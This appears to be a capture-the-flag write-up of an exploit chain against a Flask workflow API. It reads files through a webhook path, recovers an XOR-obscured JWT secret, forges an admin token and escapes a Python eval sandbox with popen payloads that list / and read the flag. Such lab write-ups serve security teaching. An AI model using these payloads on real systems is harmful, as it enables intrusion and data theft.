~/labs/ctf/fluid-attacks-latam-2026-2/ni8mare-lite
Ni8mare LiteFlowForge automates your workflows so you don't have to. A fresh instance just went up for internal use, source and all; the docs are at /api/docs. The flag is somewhere on the server's filesystem. Good luck.
Metadata
| Field | Value |
|---|---|
| Category | API |
| Difficulty | Hard |
| Points | 100 |
| Solves | 91 |
| First Blood | Redz |
Challenge Description
FlowForge automates your workflows so you don't have to. A fresh instance just
went up for internal use, source and all; the docs are at /api/docs.
The flag is somewhere on the server's filesystem. Good luck.
Target used during validation:
https://c635933ea2385b91.chal.ctf.ae
The archive password was:
infected
Artifacts
The provided archive contained the complete Flask service:
public.zip
extracted/app.py
extracted/entrypoint.sh
extracted/Dockerfile
extracted/requirements.txt
Artifacts produced during the solve:
solve_ni8marelite.py
assets/01_health.json
assets/02_config_leak.json
assets/03_forged_admin_token.json
assets/04_token_verify.json
assets/05_system_info.json
assets/06_root_listing.json
assets/07_flag.json
I did not include browser screenshots because the application is an API service. The meaningful evidence is in HTTP JSON responses and in the shipped source.
Recon
I started from the archive contents, not from the challenge title:
zipinfo public.zip
Relevant output:
Archive: public.zip
Zip file size: 5494 bytes, number of entries: 4
Dockerfile
app.py
entrypoint.sh
requirements.txt
The extracted source is a single Flask application. The root route identified
the service and pointed at /api/docs:
curl -k -sS https://c635933ea2385b91.chal.ctf.ae/
Output:
{
"service": "FlowForge Automation Platform",
"version": "2.1.0",
"docs": "/api/docs"
}
The public docs exposed only a small unauthenticated surface:
curl -k -sS https://c635933ea2385b91.chal.ctf.ae/api/docs
Relevant output:
{
"endpoints": [
{"path": "/api/health", "method": "GET"},
{"path": "/api/webhooks/trigger", "method": "POST"},
{"path": "/api/auth/verify", "method": "POST"}
],
"version": "2.1.0"
}
The full source added the protected routes:
/api/workflows/debug
/api/notifications/preview
/api/workflows/import
/api/workflows/evaluate
/api/workflows
/api/system/info
The first boundary check was the evaluator. It looked powerful, but it required admin authentication:
curl -k -sS -X POST \
https://c635933ea2385b91.chal.ctf.ae/api/workflows/evaluate \
-H 'Content-Type: application/json' \
-d '{"expression":"print(1)"}'
Output:
{"error":"Admin authentication required"}
So the solve needed two primitives:
unauthenticated user -> recover or forge admin authentication
admin user -> execute enough code to read the randomized flag file
The source also contained several tempting paths that I checked but did not use as the final chain:
/api/workflows/debuglooks like command injection, but it only acceptsstatus,version,uptime, orhelpafter quoting and allowlisting (extracted/app.py:288toextracted/app.py:330)./api/notifications/previewlooks like template injection, but it only performs literal replacement after a restrictive character check (extracted/app.py:333toextracted/app.py:375)./api/workflows/importlooks like a file import primitive, but it is admin only and validates workflow structure (extracted/app.py:378toextracted/app.py:445).
The interesting unauthenticated route was /api/webhooks/trigger, because the
docs explicitly mention a files array, and the source shows that each supplied
file path is opened server-side.
Vulnerability
The exploit combines three weaknesses:
- External control of a server-side file path in
/api/webhooks/trigger. - Reversible XOR “protection” of the JWT signing secret.
- A Python sandbox escape in the admin-only workflow evaluator.
The file-read issue is in webhook_trigger():
fpath = os.path.normpath(fpath)
if not any(fpath.endswith(ext) for ext in ALLOWED_FILE_EXTENSIONS):
...
with open(fpath, "r") as f:
content = f.read(4096)
The extension check blocks obvious files such as /etc/passwd:
curl -k -sS -X POST \
https://c635933ea2385b91.chal.ctf.ae/api/webhooks/trigger \
-H 'Content-Type: application/json' \
-d '{"workflow_id":"probe","files":[{"path":"/etc/passwd"}]}'
Output:
{
"file_metadata": [
{
"error": "Unsupported file extension. Allowed: .json, .yml, .db",
"path": "/etc/passwd"
}
],
"status": "triggered",
"workflow_id": "probe"
}
However, the check does not restrict files to a safe directory. Any absolute
path ending in .json, .yml, or .db can be opened. That matters because
init_app() writes an internal JSON file at /app/.internal/config.json
(extracted/app.py:93 to extracted/app.py:101).
The internal file contains session_secret, but not directly. During startup,
the app creates the real SESSION_SECRET, derives a key from the boot
timestamp, XORs the ASCII secret, and stores the result:
BOOT_TIMESTAMP = int(time.time())
SESSION_SECRET = os.urandom(24).hex()
ts_hash = hashlib.sha256(str(BOOT_TIMESTAMP).encode()).digest()
xor_key = ts_hash[: len(SESSION_SECRET)]
XOR_ENCODED_SECRET = xor_bytes(SESSION_SECRET.encode(), xor_key).hex()
This looked like a real obstacle until I noticed /api/health returns the same
BOOT_TIMESTAMP as started_at (extracted/app.py:136 to
extracted/app.py:145). XOR is reversible, so leaking both started_at and the
encoded secret is enough to recover the actual JWT signing secret.
The next target was admin access. verify_admin_token() accepts HS256 JWTs
signed with SESSION_SECRET, and only checks that the decoded payload has
role: admin (extracted/app.py:107 to extracted/app.py:120). Once the
secret is recovered, an admin JWT can be forged locally.
Finally, /api/workflows/evaluate executes Python code after a raw regex
blocklist (extracted/app.py:448 to extracted/app.py:525). The blocklist
contains words such as os, open, exec, and globals, but it checks the
raw expression string before Python evaluates string concatenation. The
evaluator replaces print with a nested Python function named
sandbox_print (extracted/app.py:489 to extracted/app.py:495). Python
function objects expose their module globals through __globals__, and the
module imported os at the top (extracted/app.py:1 to extracted/app.py:3).
That allowed this idea:
print.__getattribute__("__glo"+"bals__")["o"+"s"].popen("ls /").read()
It avoids the raw globals and os strings while still reaching the imported
os module at runtime.
Exploitation
The full chain is:
- Read
/api/healthto getstarted_at. - Use
/api/webhooks/triggerto read/app/.internal/config.json. - Parse
session_secretfrom the returned file preview. - Recover the real
SESSION_SECRETby XORing the encoded bytes withsha256(str(started_at)).digest(). - Forge an HS256 JWT with
{"user":"admin","role":"admin"}. - Verify the token with
/api/auth/verify. - Access
/api/system/infoto confirm admin-only access. - Use
/api/workflows/evaluateto run a sandbox escape and list/. - Read the randomized
/flag_<hex>.txtfile through the same evaluator.
The health response used in the final run is saved in assets/01_health.json:
{
"started_at": 1783383485,
"status": "ok",
"uptime_seconds": 152,
"version": "2.1.0"
}
The internal config leak is saved in assets/02_config_leak.json:
{
"file_metadata": [
{
"metadata": {
"preview": "{\n \"session_secret\": \"24b4d270a11a147fb50c224add0c6b73fa1aab49e9d6bc615a1f2119e20ff7b677ecdd2bf44f142db85b764880003925\",\n \"version\": \"2.1.0\"\n}",
"size": 144
},
"path": "/app/.internal/config.json"
}
],
"status": "triggered",
"workflow_id": "leak-config"
}
The recovered secret in that run was:
0a6c4ddc8b1388c543bad3bcad063717c998a1d155e1e41c
After forging the JWT, /api/auth/verify confirmed the admin role. Evidence is
saved in assets/04_token_verify.json:
{
"role": "admin",
"user": "admin",
"valid": true
}
The sandbox escape first listed the root directory. Evidence is saved in
assets/06_root_listing.json:
{
"result": "app\nbin\nboot\ndev\nentrypoint.sh\netc\nflag_4bb6906514bcb37c.txt\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n",
"variables": {}
}
Then the exploit read the discovered flag path. Evidence is saved in
assets/07_flag.json:
{
"result": "flag{44aa87ae9af2b7d6}",
"variables": {}
}
Technical Details
The stored secret can be reversed because XOR is its own inverse:
encoded = secret_ascii XOR key
secret_ascii = encoded XOR key
The key is derived from the public boot timestamp:
key = sha256(str(started_at).encode()).digest()
SESSION_SECRET is a 48-character ASCII hex string because the app calls
os.urandom(24).hex(). The SHA-256 digest is 32 bytes, so xor_bytes() cycles
the key with key[i % len(key)] (extracted/app.py:72 to
extracted/app.py:75).
The final evaluator payload used by the solver is:
print(print.__getattribute__("__glo"+"bals__")["o"+"s"].popen("ls /").read())
For the flag read, only the command changes:
print(print.__getattribute__("__glo"+"bals__")["o"+"s"].popen("cat /flag_4bb6906514bcb37c.txt").read())
This is not a generic “eval is bad” conclusion. The practical escape depends on three implementation details that are visible in the source:
exec()executes attacker-controlled code after only a blocklist.- The sandbox replaces
printwith a real Python function object (sandbox_print); even though that function is nested insideworkflow_evaluate(), its__globals__points back to the module globals. - The target module already imported
os, so the function globals expose theosmodule and command execution becomes reachable without usingimport.
Exploit Artifact
solve_ni8marelite.py implements the full exploit with only the Python standard
library. It manually creates the HS256 JWT, so it does not need PyJWT installed
locally.
Usage:
python3 solve_ni8marelite.py --insecure --evidence-dir assets \
https://c635933ea2385b91.chal.ctf.ae
Output from the validated run:
[+] Reading health endpoint for boot timestamp
[+] Leaking /app/.internal/config.json through webhook file metadata
[+] Recovered SESSION_SECRET: 0a6c4ddc8b1388c543bad3bcad063717c998a1d155e1e41c
[+] Verifying forged admin token
[+] Confirming admin-only endpoint access
[+] Escaping evaluate sandbox to list /
[+] Found flag file: /flag_4bb6906514bcb37c.txt
[+] Reading flag through evaluate sandbox escape
{
"result": "flag{44aa87ae9af2b7d6}",
"variables": {}
}
If the certificate is valid in the review environment, remove --insecure.
Validation
Script syntax check:
python3 -m py_compile solve_ni8marelite.py
Remote exploit validation:
python3 solve_ni8marelite.py --insecure --evidence-dir assets \
https://c635933ea2385b91.chal.ctf.ae
Result:
flag{44aa87ae9af2b7d6}
Evidence files:
assets/01_health.json
assets/02_config_leak.json
assets/03_forged_admin_token.json
assets/04_token_verify.json
assets/05_system_info.json
assets/06_root_listing.json
assets/07_flag.json
References
- https://cwe.mitre.org/data/definitions/73.html
- https://cwe.mitre.org/data/definitions/22.html
- https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html
- https://hacktricks.wiki/en/generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html
Flag
flag{44aa87ae9af2b7d6}